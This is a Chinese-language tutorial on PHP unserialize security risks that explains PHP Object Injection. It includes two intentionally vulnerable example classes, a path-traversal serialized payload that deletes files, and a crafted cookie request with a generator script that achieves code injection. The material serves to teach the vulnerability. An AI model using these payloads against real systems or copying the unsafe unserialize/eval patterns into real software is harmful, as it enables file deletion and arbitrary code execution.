反序列化的安全问题

使用 unserialize 函数从用户输入反序列化数据可能很危险。

来自 php.net 的警告

警告不要将不受信任的用户输入传递给 unserialize()。由于对象实例化和自动加载,反序列化可能导致代码被加载和执行,恶意用户可能能够利用它。如果需要将序列化数据传递给用户,请使用安全的标准数据交换格式,如 JSON(通过 json_decode() 和 json`_encode()`)。

可能的攻击

  • PHP 对象注入

PHP 对象注入

PHP 对象注入是一个应用程序级漏洞,可能允许攻击者执行不同类型的恶意攻击,例如代码注入,SQL 注入,路径遍历和应用程序拒绝服务,具体取决于上下文。在将用户提供的输入传递给 unserialize()PHP 函数之前未正确清理时,会发生此漏洞。由于 PHP 允许对象序列化,因此攻击者可以将特殊的序列化字符串传递给易受攻击的 unserialize() 调用,从而导致任意 PHP 对象注入应用程序范围。

为了成功利用 PHP Object Injection 漏洞,必须满足两个条件:

  • 应用程序必须具有一个实现 PHP 魔术方法(如 __wakeup__destruct)的类,可用于执行恶意攻击或启动“POP 链”。
  • 必须在调用易受攻击的 unserialize() 时声明攻击期间使用的所有类,否则必须支持此类的对象自动加载。

示例 1 - 路径遍历攻击

下面的示例显示了一个带有可利用的 __destruct 方法的 PHP 类:

class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = "/var/www/cache/tmp/{$this->cache_file}";
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...

$user_data = unserialize($_GET['data']);

// some PHP code...

在此示例中,攻击者可能能够通过 Path Traversal 攻击删除任意文件,例如请求以下 URL:

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}

示例 2 - 代码注入攻击

下面的示例显示了一个带有可利用的__wakeup 方法的 PHP 类:

class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...

$user_data = unserialize($_COOKIE['data']);

// some PHP code...

在此示例中,攻击者可能通过发送如下 HTTP 请求来执行代码注入攻击:

GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close

通过以下脚本生成 cookie 参数 data 的位置:

class Example2
{
   private $hook = "phpinfo();";
}

print urlencode(serialize(new Example2));